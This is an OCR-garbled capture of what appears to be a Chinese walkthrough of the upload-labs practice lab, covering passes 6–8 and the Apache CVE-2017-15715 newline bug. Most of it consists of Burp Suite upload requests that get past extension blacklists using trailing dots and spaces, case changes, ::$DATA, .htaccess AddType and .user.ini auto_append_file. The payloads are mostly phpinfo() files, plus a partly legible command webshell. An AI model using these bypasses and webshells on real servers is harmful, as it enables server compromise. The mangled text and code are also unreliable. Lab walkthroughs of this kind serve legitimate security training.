Et(Raw) 1688 Hex)  HAD ) ERL(Head n

LA X

<form enctype="multipart/form-data” method="post” onsubmit="return checkFile() ">
<p>
i

A <p>
imput_file” type="file” name="upload_file"/>

"button” typ

<input cla:

<input class
</form>
<div 1d="
</divy
Cdiv id="img">

<img sre=".. /upload/202204170256389121

bmit” name="submit” value="

3

o w}dth="30p‘:" >

<fdivy
<A1
</ol>
<fdiv>

<fdiv>
<div id="footer”>
<center>
Copyrightlnbsp; @nbsp; (span id="copyright_time”>
</span>

BREAERDT, HEXBRHXMHERRETRENRNEHR, ERTUEN, XBEHERAKIER B REIE, RIERNEEE, 8RS

fapache/2.4, #& T —FCVE



# Apache # /T #EHT IR I(CVE-2017-15715)

# SENR A
Apache httpd 2.4.0 ~2.4.29

EIEN R AT, SHRLEFZGEERME, EMERE T RegExpX £ BMultiine/@#:, $HILE\nZH \r.

# BB XA
FilesMatch \.php$
SetHandler application/x-httpd-php
FilesMatch

el Biz
-
iB¥K(Request) IERi(Respons)
BtsRaw)  16##|(Hex)  Cookies n = HipPretty)  BibRaw)  1688He)  BHAAERender)  Edik(Headers) =
1 POST /Pass-06/index. php HTTP/1.1 1 HTTR/1.1 200 0K
2 Host: 192.168. 58. 21:8080 2 T 2022 135 GMT
3 User Mozilla/5.0 (Windows NT 10.0; Winf4; x64; rv:100.0) Gecko/20100101 Firefox/100.0 3 Apache/2. 4.10 (Debian)
Accept: text/html, application/shtml+xml, application/zml;q=0. 9, image/avif, image/webp, #/#; q=0. & 4 Vary: Accept-Encoding
3 Accept-Language: zh-Cl, zh; ¢=0. 8, zh-TW; g=0. 7, zh~HK g=0. 5, en-US; ¢=0. 3, en; ¢=0. 2 5 Content-Length: 3579
6 Accept-Encodine: gzip, deflate 6 Cennection: close
7 Content-Type: multipart/form—data; 7 Content-Type: text/html;charset=utf-8
boundary 27631567323546033550998626937 8
& Content-Length: 390 9 <html>
Origin: http://192.168. 58. 21: 8080 10 <head>
Connection: close 11 <meta http-equiv="Content-Type” content="text/html; charset=ut{-8"/>
Referer: http://192.168. 58. 21:8080/Pass-06/index. php 12 <link rel="icen” type="image/x—icon” href="/img/favicon. png” />
> Upgrade-Insecure-Requests: 1
13 13 <title>
14 2T631567323546033550998626937 upload-labs
15 Content-Dispesition: form—data; name="upload_file”; filename="phpinfo.php. aaa. xxx” <ftitle>
16 Content—Type: application/octet-stream 14 </head>
TR N 4= 5 5
PR T —TF, KZEHKhexdwid202 k00 25 Bz, RIAT, FrLliEREE T IR
3k (Request) Wii(Respons) Q=" | nspecor W) T @ X
= Fa(Raw)  16#3lHex)  Cookies N = EePrewy)  F¥sRaw)  1688(Hey  BAMERender)  HXk(Headers) N = Cion ~
1 POST /Pass—06/index. php HTTP/1.1 1 HITP/1.1 200 0K
2 Host: 192.168. 58. 21:8080 2 Date: Sun, 17 Apr 2022 03:05:33 GMT Selected character

3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 : Apache/2.4.10 (Debian)

: text/html, application/xhtml+xml, application/mml; q=0. 9, image/avif, image/webp, */#; 0. 8 4 Accept-Encoding
Accept-Language: zh~CN, zh; a=0. 8, zh-TW; q=0. 7, zh-HK: =0. 5, en-US; a=0. 3, en; g=0. 2 5 Content-Length: 3582
6 Accept-Encoding: gzip, deflate 6 Connection: close
7 Content-Type: multipart/form—data; 7 Content-’ : text/html; charset=ut{-8 Code  16:E5](Hex) v
bounda: 27631567523546033550998626937
Content-Length: 384 9 <html> 04
9 Origin: http://192.168. 58, 21:8080 10 <head>
10 Comnection: close 11 “meta http—equiv="Content-Type” content="text/html;charset-utf-8"/> BEE(Cancel)
11 Referer: http://192.168. 58. 21:8080/Pass-06/index. php 12 <link rel="icon” type="image/x-icon” href="/img/favicon.png” />
12 Upgrade-Insecure-Requests: 1
13 13 Ctitled Request Attributes 2 v
27631567323546033550998626937 upload-labs
15 Content-Dispesition: form-data; name="upload_file”; filename="phpinfo. <[title> Request Query Parameters 0 v
16 Content-Type: application/octet-stream 14 </head>
17 15 <link 1 index. Request Body Parameters 2 v
18 <7php phpinfo() ; 7 16 <link T fprism. ¢
18 17 <body> Request Cookies 0o v
1 <div id="head">
— 7631567323546 033550998626937 19 <a href="/"> .
forn-data; name="submit’ ¢img sre="/img/logo. png” /> ety up v
<Ja>
<div id="head_mem"> Respoescliicader o v
7631567323546 033550998626957— 21 <a id="handle_code” href="javascript:show_code (">
S
<far
22 <a href="javascript:get_prompt() ">
HER
<fa>

D e 2 PR



IER;(Respons)

i&R(Request)
E{y(Prett B#aRaw)  1633l(Hex)  Cookies B n = EikPretty)  EH(Raw) ] e hicst Je)  Edck(Head: n =
1 POST /Pass-06/index. php HITP/1.1 </hi3x
2 Host: 192.168. 58. 21:8080 59 <form enctype="multipart/form-data” methed="post” onsubmit="return checkFile() ">
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
4 Accept: text/html, application/xzhtml+ml, application/ml;q=0.9, inage/avif, imaze/webp, #/*;q=0. 8 : <py
5 Accept-Language: zh—CH, zh; q=0. 8, zh—TW; q=0. 7, zh-HK; ¢=0. 5, en—US ; q=0. 3, en; q=0. 2 61 nput_file” type="file” name="upload_file"/>
6 Accept-Encoding: szip, deflate 62 <input class="button” type="submit” name="submit” value=" F{£"/>
7 Content-Type: multipart/form-data; 7 Torm>
boundary 27631567323546033550998626937 <div id= ">
3 Content-Length: 381 65 P WA S LA
<Sdive

9 Origin: http://192. 168. 58. 21:8080
<div id="img" >

10 Comnection: close
11 Referer: http://192.168. 58. 21 :8080/Pass—06/index. php <fdivy
12 Upgrade-Tnsecure-Requests: 1 <flix
13 <fol>
14 27631567323546033550998626937 <Jdiv>y
15 Content-Disposition: form-data; name="upload_file”; filename="phpinfo.php” 71
16 Content-Type: application/octet-stream 72 <fdiv>
17 73 <div id="footer”>»
18 <7php phpinfo(); ? 74 <center>
19 Cepyright&nbsp; @nbsp; <span id="copyright_time”>
20 </span>
21 276315673235460335509986269537 &nb; r&nbsp;<a href="http://ev7.me” target="_bank">
22 Content-Disposition: form-data; name="submit” cOnyl
23 <fa>
24| b4 </center>
25 27631567323546033550998626937— 75 <fdivs
76 <div class="mask">

false;
null;
if (isset( ['submit'])) {

if (file_exists(UPLOAD_PATH)) {
array(".php",".php5",". php4”,".php3",".php2"," html",".htm",".phtml",".pht",". pHp" ".pHP5",". pHp4",". pHp3",".pHp2",". Html",".Htm

" pHEIMI" " jsp”," jspa”, " jSpX", " jsw!, " jsv". " jspf", " jtmi". " jSp”." jSpx"," jSpa”," jSw"," jSv" " jSpf"" jHtmI" " asp" " aspx",".asa",".asax",".ascx" " ashx"
".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

['upload_file'l['name'];
deldot( )i/ B IR XA RSB Y A
strrchr( )
strtolower( ); N EE#H DG
str_ireplace("::3DATA', ", )i/ 2

if (!in_array( K
['upload_file'|['tmp_name'];
UPLOAD_PATH."/".date("YmdHis").rand(1000,9999)

if (move_uploaded_file( , ) {
true;

} else {
'EAEHEE
¥

} else {
A S AR
}

} else {
UPLOAD_PATH . 'SXfFRAFEAE, B F LAIE!

YERDH A PRI B 4, R0 BT TR BN SR, BIRRT $DATA FiFs, Xiirl LR FAWindows i #47481d, windows
FGARAE ST B SO 5 SRR R FR 22 M A X BRIAMIBR 3.l windows R B8R MNRIX .



IERzI(Respons)
E{k(Pretty) FiE(Raw) 16:8EF|(Hex) IHRIFIES (Render) E#L(Headers)

1 HITB/1.1 200 0K

2 Date: Sun, 17 Apr 2022 03:34:55 GMT

3 Server: Apache/2.4.39 (Winf4) OpenS5SL/1.1.1b mod_fceid/2. 3.9a mod log rotate/1.02
4 ¥-Powered-By: PHP/G. 4. 45

5 Connection: close

6 Content-Type: text/html: charset=utf-8

T Content-Lensth: 5162

R (Request) WEi(Respons) " nspector W 5 < @ X
El(Pretty) R (Raw) 16if#l(Hex) Cookies 5 0 = Zlk(Pretty) F(Raw) 163#3(Hex) WREAE(Render) Ekk(Headers) = Request Attributes % o~
1 POST /Pass—07/index. php?action=show_code HTTP/1.1 </h3>
2 Host: 192.168. 93. 128:8080 56 <p> @ R |
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win®4; x64; rv:100.0) Gecko/20100101 Firefex/100.0 bff—/A<code>
4 Accept: text/html, application/shtml+mnl, application/zml;a=0. 9, image/avif, image/webp, */#; q=0. 8 webshell "
5 Accept-Language: zh-CN, zh;q=0. 8, 2h-TW; g=0. 7, zh-HK; ¢=0. 5, en-US; g=0. 3, en; g=0. 2 </code> Request Body Parameters 2 v
6 Accept—Encoding: gzip, deflate BIRS W
7 Content-Type: multipart/forn-data; </p> RequestiCogkies D -~
boundary 728580771964253110544 57 <fli>
& Content-Length: 383 58 <li> B (Request Headers) 1Mo
9 Origin: http://192. 168. 93.128:8080 59 <h3>
10 Commection: close b Response Headers 6w
11 Referer: http://192.168. 93. 128:8080/Pass=-07/index. php?actien=show_code </h3>
12 Upgrade-Insecure-Requests: 1 60 <form enctype="multipart/form-data” method="post” ensubmit="return checkFile()">
13 61
14 728580771964253110544, R BRI <p>
15 Content-Disposition: form-data; name="upload_file”; filen: 62 <input clas: nput_file” type="file” name="upload file"/>
16 Content-Type: application/octet-stream 63 <input class="button” type="submit’ name="submit” value="F{£"/>
17 64 </form>
18 <php phpinfo(); 7> 65 <div id="msg">
19 66 <fdiv>
20 67 Cdiv id="img”
21 0033639728580771964253110544 68 <img s{-c:’../upluad/:o::mn71134554702. php * w:idlh:'zﬁow(' />
22 Content-Disposition: form-data; name="submit”
23 <fdiv>
22 Eff 69 </li>
25 728580771964253110544— 70 <11 id="show_code”>
5 <h3>
165
</h3>
72 <pre>
73 <code class="line-mumbers language-php”>
$is_uplead = false;
T4 $msg = null;

==

<« phpstudy pro 5 WWW > upload-labs-master 5 upload o £ EEupload
£ B ERE E=ic) Fuh
D 202204171133541153 0m 2022/4/17 11:33 200K i
D 202204171134554702.php 2022/4/17 11:34 PHP 374
vulnpack D readme.php 2020/1/15 22:38 PHP 3744
B s
) E5

@ OneDrive
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O 8 192.168.93.128:8080/upload/202204171134554702.php

PHP Version 5.4.45

System Windows NT DESKTOP-42010UK 6.2 build 9200 (Windows 8 Business Edition) i586

Build Date Sep 22015 234520

Compiler MSVCA (Visual C++2008)

Architecture  [x86

Configure cseript /mologa configure j "—enable-snapshot-build™"—enable-debug-pack” —disable-

Command s - - » " =without-
pi3web" "-with-pdo-oci=C:iphp- 1015 dk sharad” “—with-
ocig=Ciphp 1015 0k Shared” “—with-0ci8-11g=C:\php-sakioracle
i t1\sdk, shared” "with “—enable-object-out-dir=. /obi" "~

bi - disable-static-analyze™ with-pgo™

server API CGIFasiCGl

Virtual Directory |disabled

Support

Configuration | CWindows
File (php.ini)
Path

Loaded E-\phpstudy_pro\Extensions\phpiphp5.4 45nts\php.ini
Configuration

File

Scan this dir for |(none)

additional .ini

les

Additional.ini | (none)

files parsed

PHP API 20100412

PHP Extension | 20100525

Zend Extension |220100525

Zend Extension | API220100525,NTSVC3
Build

PHP Extension | API20100525,NTS,VCO
uil

Debug Build no

N AXFER BE
RIE, BERT

Tk EkRd

Pass-07 (Nginx #£3%)

B —FESEIIA

iEK(Request)
FtRaw)  16##/(Hex)  Cookies

1 POST /Pass—07/index.php HTTP/1.1
2 Host: 192.168. 58. 21:8080

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html, application/shtml+mml, application/xml; ¢=0. 9, image/avif, image/webp, */*; ¢=0. 8
Accept-Language: zh—CN, zh: q=0. 8, zh-TW. g=0. T, zh-HK; g=0. 5, en-US ; g=0. 3, en; q=0. 2

4

Accept-Encoding: gzip, deflate
T Content-Type: multipart/form-data;

boundary 375609320320071873892610386790

ontent-Length: 449

Origin: http://192.168. 58. 21:8080

0 Connection: close

Referer: http://192. 168. 58. 21:8080/Pass-07/index. php
2 Upgrade-Insecure—Requests: 1

Thread Safety | disabled

Rz RGEENE, TR R?
REFFFEphp XA FFF 8, FTU R REf E ko .

IER7(Respons)
n = Zlp(Pretty)  FHARaw)  16#8I(Hex)  BAFAE(Render)
BIT <old
<1i>
<h3>
E%
</h3>
55 <p>
Ff—~<code>
webzshell
<[code>
FINR%H5.
<fp>
<fli>
<1i>
<h3>

14 375609320320071873892610386730

Content-Type: applidation/octet-stream

ontent-Dispositioni form-data; name="upload file”; filename="cmd_get_info.123456"

LA X
</h3>

Tphp
$emd = $_GET[ info’ 1;
$getshell =

print_r($zet
>

375609320320071873892610386790
Content-Disposition: form-data; name="submit”

=

375609320320071873892610386790—

<p>
WEFE LA E T >
<input class="input_file” ty
<input class="butten” type=
</form>
<div id="msg">
</div>
i ="

EkE(Headers)

“file” name
submit” name:

submit” value=" Ff4"/>

<img src="../upload/cmd_get_info.128456" width="250px" />

<fdiv>
<f1i>
<fol>
</div>

<fdive
3 <div id="footer”>
74 <{center>

Copyrishténbsp; 8mbsp; <span id="copyright_time">

NUEFG A strrchr() BEL, SBEURE —A> AL E ) 747 5 &5 0 2345, mRA

(=K

<form enctype="multipart/form-data” method="post” onsubmit="return checkFile() ">



KARTEM T, MERRBART, RRERBEMHNAEAT, Mz BF g —A,

ban

JrtapacheflR$#%, FrLAEiRiA .htaccess KA #H

Accept-Encoding: gzip, deflate A

Content—Type: multipart/form—data; . </h3>

boundary 37T560932032007187389261 0386790 - R

Content-Length: 395 Lpe ~-<code>
webshell

Origin: http://192.168.58. 21:8080

c R </code>
onnection: close TR 5B

Referer: http://192. 168. 38. 21:8080/Pass—07/index. php "

— ] . <fp>
Upgrade-Insecure-Requests: 1 Slis
375609320320071873892610386790 <12l:3>
Content-Disposition: form-data; name="upload_file”; filename FfER
Content-Type: application/octet-stream fhas
AddType applocation/a=httpd—php . hhh 59 <form enctype="multipart/form-data” method="post” onsubmit="return checkFile() ">
: o — - 6 <p>
375609320320071873892610386790 -
. o - e IR LEREA: o>
Content-Di ition: form—dat: ="submi t . . (1 wpiq e - 1e”
oten Ssposition: tommrdata, mame submt 61 <input class="input_file” type="file” name="upload file"/>
It 62 <input class="button” type="submit” name="submit” value=" [-{£"/>
A% 63 c
- J— . 63
375609320320071873892610386790-— L. .
64 <div id="msg">
65 $EoR: SRR AR v Bk
7t
66 <div id="img">

.htaccess X fffbani® 7, XWX T T .user.ini 3XfF, RILXANFTL 4L, W2 UL, WHRIZBITE Ngink FRIE, X B EfEwebshell
T, .useriniffVEHE LRI HRTUATFHZNEE, LATFE Nginx 3554 5K

d== Inspector

i&K(Request) IR (Respons)
Pty FRaw)  16EHHed  Cookies M= EfkPretty)  F#Raw)  16#SlHex)  WAIAERender)  iEKik(Headers) NS | quest At
1 POST /Pass-07/index. php HITP/1.1 <reode>
2 Host: 192.168. 58. 21:8080 B 2. Request Quer
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 <>
4 Accept: text/html, application/shtml+ml, application/ml;q=0.9, image/avif, image/webp, #/#; q=0. 8 i S
5 Accept-Lansuage: zh-CN, zh; q=0. 8, 2l-TW; o=0. 7, zh-HK; a=0. 5, enUS, a=0. 3, en; 0. 2 i ]
6 Accept-Encoding: gzip, deflate k3>
7 Content-Type: multipart/formdata; LAt Request Cook
boundary 37 20320071873892610386790 B /n3> _ . . . o
3 Content-Length: 386 59 <form enctype="multipart/form—data” method="post” onsubmit="retuwrn checkFile() "> FRLReques
9 Origin: http://192. 168. 58. 21:8080 60 w
10 Connection: close HEFRLEWEL: @ P . . Response He:
11 Referer: http://182, 168. 58. 21:8080/Pass—07/index. php o1 <input elass="input_file” type="file” name="upload file"/>
1° Upgrade- Tnsecure-Requests: 1 62 <input class="button’ type="submit” name="submit” value="_F{:"/>
- 63 </form>
i 56 1673892610386 750 64 <div id="msg’>
|5 Content-Disposition: form-data; name="upload file”; filename=".user.ini” 0s <£d1">”_ .
16 Content-Type: application/octet-stream o ’ 2 1. -
- o7 <img sre—. . /upload/. user. ini wm+ 250ps” />
5 auto_append_file=shell.ppp
! - 187329261038675 <fdiv>
20 Content-Disposition: form-data; name="submit” (ﬁ'l)”
21 °
22 gt <Hdiv>
23 375609320320071673892610386790—— )
<fdiv>
<div id="footer”>
<center>
Copyrighténbsp, enbsp; <span 1d="copyright_time”>
</span>

- w wruLvs
| Comnection: close 67 =t
Referer: http://192.168. 93. 128:8080/Pass—08/index. php 68 <img sre="../ upload/shell.ppp” width="250px" />

| Upgrade-Insecure-Requests: 1

<fdiv>
L 403270886926715995714289431766 <fliv
i fontent—Disposition: form—data; name="upload_file”; filename="shell.ppp” <fols
' Fontent-Type: application/octet-stream <Jdivy
! {7php phpinfe() ;7> <divy
! <div id="footer”>
! — . . _ <center>
e 403270885926715995714239431766 Copyrightenbsp: @enbsp: <span id="copyright time”>

| Content-Disposition: form—data; name="submit </span>
! . &nbsp; by&mbsp; <a href="http://gv7.me” target="_bank">

Ef cOnyl

4032T0RRAICETIRG9RT1 47289431 TAE— B

1 11— F readme.php SCHR (IR FEA XA LM, HEHDE—1), auto_append_file=shell.ppp XA E 2765 17 2457 H 3% Fphp
SO B BB BT LAphpARES MR IX AN shell.ppp XX 44 .
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O 8 192.168.93.128:8080/upload/readme.php

Not Delete File

¥
false;
null;
if (isset( ['submit')) {
if (file_exists(UPLOAD_PATH)) {

PHP Version 5.4.45 Php

System Windows NT DESKTOP-42010UK 6.2 build 9200 (Windows 8 Business Edition) i586
Build Date Sep 2 2015 23:45:20

Compiler MSVCA (Visual C++ 2008)

Architecture %86

Configure cscript inologo configure.js "—enable-snapshot-build” "—enable-debug-pack™ "—disable-
Command 18" "-disable-isapi” "—disable-nsapi” "—without-mssgl” "—~without-pdo-mssql” "—without-

pi3web" "—with-pdo-oci=C:\php-sdkioraclelinstantclient10\sdk shared™ "—with-
oci8=C\php-sdk\oraclelinstantclient10\sdk shared” "—with-oci8-11g=C\php-sdkloracle

array(".php",".php5",".php4",". php3",".php2",".html",".htm",".phtml",".pht",". pHp",". pHp5",".pHp4",". pHp3",". pHP2",". HtmI",".Htm

" pHtmI" " jsp", " jspa”," jspX", " jsw", " jsv", "jspf", " jtml", " jSp",".jSpX",".jSpa”, " jSwW", " jSv", " jSpf", " jHtmI" ".asp

, -aspXx’,.asa’, .asax’, .ascx,

".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
trim( ['upload_file']['name']);

strrchr( )

strtolower( ); NEE#HA PG

str_ireplace("::3DATA', ",
trim( ) /B ELE

if (!in_array( , ) {

['upload_file'|['tmp_name'];

UPLOAD_PATH."/!
if (move_uploaded_file(
true;
} else {
"R

ki

} else {
SRR R B AR

b

} else {

UPLOAD_PATH . 'S RAFEFE, 7EF LA !

Ji#k: Nginx SURAC B S E&

% EA% T —/>pngJa & Kshell ST AR AE

N

) {

.ashx"




1 =

=R o < B
. Q==
i&*K(Request) IFR(Respons)

3 E#4(Raw)  16%l(Hex)  Cookies no= ElhPretty)  Eta(Raw) =2 ) ERL(Head B n =
1 POST /Pass—08/index. php HITP/1.1 = iy
 Host: 192.168. 58. 21:5080 58 “ha>
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64;, x864; rv:100.0) Gecko/20100101 Firefox/100.0 LR
4 Accept: text/html, application/xhtml+xml, applicatieon/=ml;qg=0.9, image/avif, image/webp, */*; q=0. 8 </h3>
5 Accept-Language: zlr-CN, zh; ¢=0. 8, zh-TW; q=0. 7, zh-HK q=0. 5, en-US; q=0. 3, en; 0. 2 59 <form enctype="multipart/form-data” method="post” onsubmit="return checkFile()">
& Accept-Encoding: gzip, deflate 0 <p>
7 Content-Type: multipart/form-data; SRR LA o
boundary - 3122436451896248868427615791 <input class="input_file” type="file” name="upload_file"/>
§ Content-Length: 378 <input class="button’ type="submit” name="submit” value="_L{t"/>
9 Origin: http://192.168. 58. 21:8080 ¢/form>

10 Connection: close <div id="msg">
11 Referer: http://192.168. 58. 21:8080/Pass-08/index. php Jdivy
12 Upgrade-Insecure-Requests: 1 div id="img>
13 g src:1../upload/202204171241021804. png” |width="250px" />
14 3122436481896248568427!

15 Content-Disposition: form-data; name="upload_file”; <Jdiv>
16 Content-Type: application/octet—stream <f1i>
1 </Jol>
& <%php phpinfol); 7> ¢fdiv>

<fdivy
3122436481896248868427615791 cdiv 1d="footer™>
Content-Disposition: form-data; name="submit” Ccenter>

2 Copyrighténbsp; @nbsp; <span id="copyright_time”>

24 kA& </span>

25 3122436481896248868427615791—- gnibsp; byfnbsp; <z href="http://gv7.me" target="_bank”>

cOnyl
<fa>
<[center>
73 </div>
76 <div class="mask”>
</div>
e vpo. 5
AL A, T HXE XS T 304, Bk .htaccess SUHFREARRE LAk, B HAth— e BURSC .
) = " | jnspect
&*K(Request) TERZ(Respons)
Fs&(Raw) 16i#5l(Hex) Cookies n = Z{k(Pretty) Fs&(Raw) 16:E5](Hex) BRFIE(Render) HXL(Headers) no = Request
1 POST /Pass—08/index. php HITP/1.1 bt —A~<code>
o Host: 192.168. 58. 21:8080 webshell Request
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; =64; rv:100.0) Gecko/20100101 Firefox/100.0 <feode>
4 Accept: text/html, application/xhtml+mml, application/mml; q=0. 9, image/avif, image/webp, #/#; ¢=0. 8 ElEE S
5 Accept-Language: zh~CN, zh;q=0. 8, zh-TW; ¢=0. 7, zh-HK ; q=0. 5, en-US; ¢=0. 3, en; g=0. 2 <fp> Request |
6 Accept—Encoding: gzip, deflate <fliv
7 Content-Type: multipart/form-data; <li> Requestl
boundary 3122436481896248868427615791 <h3>
3 Content-Length: 383 W E BFR&(Re
9 Origin: http://192.168. 58.21:8080 </h3>

10 Connection: close 59 <form enctype="multipart/form-data” method="post” onsubmit="retuwrn checkFile() "> Responst
11 Referer: http://192.168. 58. 21:8080/Pass—08/index. php 80 <p>
12 Upgrade-Insecure-Requests: 1 IR LEME ) <p>
13 <input class="input_file” type="file” name="upload file"/>
14 3122436481896248868427515701 * =l ="buston—type="submit” name="submit” value=" [{£"/>
15 Content-Disposition: form-data; name="upload_file”:| filename="phpinfo. htaccess]’ </form>
16 Content-Type: application/octet-stream <div id="msg">
17 o IPFRRA L LA
18 <7php phpinfo(); 7> 7t
19 <div id="img">
20 <fdivy
21 3122436481896248868427615791 <fli>
22 Content-Disposition: form-data; name="submit” <fol>
23 <fdiv>
24 bt
25 3122436481896248868427615791—— <fdiv>

<div id="footer”>
<center>

iEH(Request) W (Respons) ==
E{h(Pretty [FA(Raw) 16E8(Hex) Cookies a \n = ZE{b(Pretty) [FARaw) 161 (Hex) IBRTAE (Render) Edck(Headers) a in =

—08/1 IS -
L ;OST./Pars,s Oﬁflndre,x..php HTTP/1. 1 it codes
2 Host: 192.168.58.21:8080
3 User-Agent: Mozilla/5.0 (Findows NT 10.0; Winb4, x64; rv:100.0) Gecko/20100101 Firefox/100.0 webshell
4 Accept: text/html, application/shtml+ml, application/ml;q=0. 9, image/avif, image/webp, */+; q=0. 8 ¢/code>
5 Accept-Language: zh-CN, zh;q=0. 8, zh-TW; q=0. 7, zh-HE ; ¢=0. 5, en-US; ¢=0. 3, en; ¢=0. 2 SUBS AR
& Accept-Encoding: szip, deflate ,k o>
7 Content-Type: multipart/form-data; o0 (/11>
boundary 3122436481896248868427615791 o i
9 Content-Length: 379 o <h3? -
9 Origin: http://192. 168. 58. 21:8080 L1EE

10 Comnection: close - </h3> B ) . . . e . .

11 Referer: http://192.168. 58. 21:8080/Pass-08/index. php fs‘ <fc<m|>1 enctype="multipart/form-data” method="post” ensubmit="return checkFile()">
el — — . ot P

15 Uperade-Insecure—Requests: 1 i H'Jﬂ"ﬂ‘ﬂ:'l': <p> ] ) ] ) ;

14 313313645189624886842 615791 ii Tt cass—rput—f i type fl%s name= up%oed_flls £> ”

15 Content-Disposition: form-data; name="upload_file™; filenams='phpinfn.php5|' E‘: “input elass="button” type="pubmit” name="submit” value="Lf."/>

16 Content-Type: applicatien/octef-stream o ¢/form> ..

- 64 cdiv id="msg"> )

18 <7php phpinfo(); 7> 85 TP ARRIAS T VR L
g

{5 66 Cdiv id="ime">

21 3122436481896248868427615791 K ofdiv

32 Content-Disposition: form-data; name="submit” ¢ <>
23 69 <fel>

4 Eft 0 <fdivy

25 3122436481896248868427615791-— . .

<fdiv>

<div id="footer”>



i&*K(Request) IFRi(Respons)
=iuPretty)  BEaRaw)  16EM(Hex)  Cookies n HPretty)  [BEaRaw) ] ) BT (Head
1 POST /Pass—08/index.php HITP/1.1 55 <p>
2 Host: 192.168. 58. 21:8080 g —A<code>
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Geclko/20100101 Firefox/100.0 webshell
4 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, */*; q=0. & </code>
5 Accept-Language: zh-CI, zh;¢=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2 ElE 2N
6 Accept-Encoding: gzip, deflate <fp>
7 Content-Type: multipart/form—data; <flix
boundary 3122436481896248868427615791 <lix
2 Content-Length: 379 <h3>
9 Origin: http://192.168.58. 21:8080 L4
10 Comnection: close </h3>
11 Referer: http://192.168.58. 21:8080/Pass—08/index. php 59 <form enctype="multipart/form-data” method="post” onsubmit="return checkFile() ">
12 Upgrade-Insecure-Requests: 1 60 <p>
13 EHEAE EAEE A <p>
14 3122436481896248868427615791 <input class="input_file” type="file’ name="upload file"/>
15 Content-Disposition: form—data; name="upload file”: filename="phpinfe.Php5” <input class="button” type="submit” name="submit” value=" F{t"/>
16 Content-Type: application/octet-stream </form>
17 <div id="msg">
18 <?php phpinfol); 7> PEzR: BEOCPFAERLA LV Bk
19 <fdive
20 <div id="img">
21 3122436481896248868427615791 </div>
22 Content-Disposition: form—data; name="submit” <f1i>
23 <fol>
24 bff <fdiv>
25 3122436481896248868427615791— 71
72 <fdiv>
SFHT YR by > by,
TEMATCLERE , XEXR BRI BAL BT
i (Request) Wi (Respons) L
prety)  ESR(Raw)  168lHex)  Cookies B n HlPretty)  EHRaw)  16E8(Hex)  WHAAERender)  ERi(Headers) B n
1 POST /Pass—08/index. php HITE/1.1 FAft—/<code>
2 Host: 192.168.58.21:8080 webshell
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Geclko/20100101 Firefox/100.0 </code>
4 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, #/#; ¢=0.8 FUMR %%
5 Accept-Language: zh-CN, zh; g=0. 8, zh=TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2 <Jp>
G Accept-Enceding: gzip, deflate <fliv
7 Content-Type: multipart/form—data; <li>
boundary 3122436481896248868427615791 58 <h3>
§ Content-Length: 382 LB
9 Origin: http://192. 168. 58. 21:8080 </h3>
10 Connection: close 59 <form enctype="multipart/form-data” method="post” onsubmit="return checkFile() ">
11 Referer: http://192. 168. 58. 21:8080/Pass—08/index. php 60 <p>
12 Upgrade-Insecure-Requests: 1 IHERELENEN: >
13 inputelase="1 t—file” type="file name="upload file”/>
14 3122436481 4 427A15791 <input class="button” type="submit”

15 Content-Dispesition: form-data; name="uplefid file”; -

16 Content-Type: application/cctet—stream

filename="phpinfo. php5 .

<7php phpinfo); 7>

ame="submit” value=" [ {£"/>
</form>

<div id="msg">

Jial s SR W L

<div id="img">
dic

3122436481896248868427615791
Content-Disposition: form-data; name="submit”

L%
25 3122436481896248868427615791—

<f1is
<fol>
<fdivy

<fdive
<div 1d="footer”>
<center>
Copyrighténbsp; @nbsp; <span id="copyright_time”>
</span>

Brnlamn s b 27w afm bt s { ™ ma® b msmar=® damale

MIAPURABLZAEE 1, B EEXHFRETR [ 2% 8 2 1 B EET .




i&K(Request)

B wn =

Cookies

BaRaw)  16E5I(Hex)
1 POST /Pass—08/index. php HTTP/1.1
2 Host: 192.168. 58. 21:8080
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win4; x=64; rv:100.0) Gecko/20100101 Firefox/100.0
4 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, */*; g=0. 8
5 Accept-Language: zh-CN, zh; a=0. &, zh-TW; g=0. 7, zh-HK; g=0. 5, en-US; g=0. 3, en; g=0. 2
6 Accept-Encoding: gzip, deflate
7 Content-Type: multipart/form-data;

boundary
g Content-Length: 384
9 Origin: http://192.168.58. 21:8080
10 Connectien: close
11 Referer: http://192. 168. 58. 21:8080/Pass—-08/index. php
12 Upgrade-Insecure-Requests: 1
13
14 312243648189624886842[610791
15 Content-Disposition: form-data; name="upleoad_file”| filename="phpinfo.php5 .
16 Content-Type: application/octet-stream
17
18 <7php phpinfe(); 2>
19
20
21 3122436481896248868427615791
20 Content-Disposition: form—data; name="submit”

3122436451896248868427615791

25 3122436481896248868427615791—

RYE_ L RIER, X B EAEPRARARTERRER —A A, REEIEZERNEHFERFENER, SXHF#ITTEL, WRE
Windows T 7] BA 2% f# B **::SDATABE %80~%99** iX Lewindows F A PAAE FH i 28 44 SR 3k 4T 88t o

iF¥K(Request)

Coakies

[RS(Raw) 1637 (Hex)

1 POST /Pass—08/index. php HTTP/1.1
2 Host: 192.168.93.128
3 User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x64; rv:100.0) Gecko/20100101 Firefox/100.0
4 Accept:
